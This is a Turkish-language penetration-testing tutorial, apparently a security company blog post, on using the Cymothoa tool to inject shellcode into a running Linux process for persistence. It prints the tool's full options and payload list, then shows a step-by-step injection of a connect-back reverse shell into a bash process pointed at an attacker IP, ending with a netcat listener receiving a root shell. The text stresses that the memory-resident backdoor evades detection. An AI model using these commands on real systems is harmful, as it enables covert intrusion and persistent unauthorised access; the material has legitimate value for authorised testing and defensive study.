Linux Shellcode Injection

Pentest çalışmalarında, hedef sisteme erişim elde edildikden sonra sistemde kalıcı hale gelmek için arka kapılar oluşturulur.Bu konuda geliştirilen tekniklerden biri, çalışan bir process’e kod enjekte etmekdir.

Bu yöntemle, process’in dosya sistemindeki binary’sine herhangi bir zarar verilmediği için süreç RAM’de devam eder. Dolayısıyla, kendini diske yazan backdoor’lara göre tespit edilmesi daha da güçtür. Bir başka yazıda, analiz teknikleri yer alacaktır.

Cymothoa, çalışan bir process’e kod enjekte eden casus bir yazılımdır.Hali hazırda kendi üzerinde bulunan shellcode’ları enjekte ederek saldırgana uzakdan yönetim ve sistemde görünmez olma imkanı sağlar.

Kullanım parametreleri,

# ./cymothoa
_
_ | |
____ _ _ ____ ___ _| |_| |__ ___ _____
/ ___) | | | / _ (_ _) _ / _ (____ |
( (___| |_| | | | | |_| || |_| | | | |_| / ___ |
____)__ |_|_|_|___/ __)_| |_|___/_____|
(____/
Ver.1 (beta) – Runtime shellcode injection, for stealthy backdoors…

By codwizard (codwizard@gmail.com) and crossbower (crossbower@gmail.com)
from ES-Malaria by ElectronicSouls (http://www.0x4553.org).

Usage:
cymothoa -p <pid> -s <shellcode_number> [options]

Main options:
-p process pid
-s shellcode number
-l memory region name for shellcode injection (default /lib/ld)
search for “r-xp” permissions, see /proc/pid/maps…
-m memory region name for persistent memory (default /lib/ld)
search for “rw-p” permissions, see /proc/pid/maps…
-h print this help screen
-S list available shellcodes

Injection options (overwrite payload flags):
-f fork parent process
-F don’t fork parent process
-b create payload thread (probably you need also -F)
-B don’t create payload thread
-w pass persistent memory address
-W don’t pass persistent memory address
-a use alarm scheduler
-A don’t use alarm scheduler
-t use setitimer scheduler
-T don’t use setitimer scheduler

Payload arguments:
-j set timer (seconds)
-k set timer (microseconds)
-x set the IP
-y set the port number
-r set the port number 2
-z set the username (4 bytes)
-o set the password (8 bytes)
-c set the script code (ex: “#!/bin/shnls; exit 0”)
escape codes will not be interpreted…

Payload Listesi

# ./cymothoa -S

0 – bind /bin/sh to the provided port (requires -y)
1 – bind /bin/sh + fork() to the provided port (requires -y) – izik <izik@tty64.org>
2 – bind /bin/sh to tcp port with password authentication (requires -y -o)
3 – /bin/sh connect back (requires -x, -y)
4 – tcp socket proxy (requires -x -y -r) – Russell Sanford (xort@tty64.org)
5 – script execution (see the payload), creates a tmp file you must remove
6 – forks an HTTP Server on port tcp/8800 – http://xenomuta.tuxfamily.org/
7 – serial port busybox binding – phar@stonedcoder.org mdavis@ioactive.com
8 – forkbomb (just for fun…) – Kris Katterjohn
9 – open cd-rom loop (follows /dev/cdrom symlink) – izik@tty64.org
10 – audio (knock knock knock) via /dev/dsp – Cody Tubbs (pigspigs@yahoo.com)
11 – POC alarm() scheduled shellcode
12 – POC setitimer() scheduled shellcode
13 – alarm() backdoor (requires -j -y) bind port, fork on accept
14 – setitimer() tail follow (requires -k -x -y) send data via upd

Örnek Kullanımı

Shellcode enjekte etmek istediğiniz process’in process id’sini belirtmeniz yeterli. /bin/bash kabuğuna bir bakalım,

# ps ax| grep bash
1725 tty1 S 0:00 -bash
1742 tty1 S+ 0:00 /bin/bash /usr/bin/startx
1959 pts/0 Ss 0:00 bash
1991 pts/0 S+ 0:00 grep –color=auto bash

“bash” kabuğunun pid değeri 1959

Hedef sistemden, reverse shell elde etmek için 3 numaralı  payload’ı kullanacağız.

# ./cymothoa -p 1959 -s 3 -x 192.168.1.6 -y 4443
[+] attaching to process 1959

register info:
———————————————————–
eax value: 0xfffffe00 ebx value: 0xffffffff
esp value: 0xbfcab388 eip value: 0xb7766430
————————————————————

[+] new esp: 0xbfcab384
[+] payload preamble: fork
[+] injecting code into 0xb7767000
[+] copy general purpose registers
[+] detaching from 1959

[+] infected!!!

Parametrelerin açıklamaları;

-p = /bin/bash process id’si

-s = 3. sıradaki back connect payload’ı

-x = back connect yapacağı ip adresi (saldırganın ip adresi)

-y = back connect yapacağı port numarası

Saldırgan, portu dinleme moduna aldığında kurban sistemden shell erişimi elde etmiş olur.

ozanus@localhost:~$ nc -vv -l 4443

Connection from 192.168.1.9 port 4443 [tcp/*] accepted
dir
Makefile cymothoa hexdump_to_cstring.pl personalization.h udp_server
bgrep.c cymothoa.h payloads.h syscalls.txt
uname -a
Linux seclabs.bga.com.tr 2.6.38 #1 SMP Thu Mar 17 20:52:18 EDT 2011 i686 GNU/Linux
id
uid=0(root) gid=0(root) groups=0(root)

 

Yazar:
Ozan UÇAR
ozan.ucar@bga.com.tr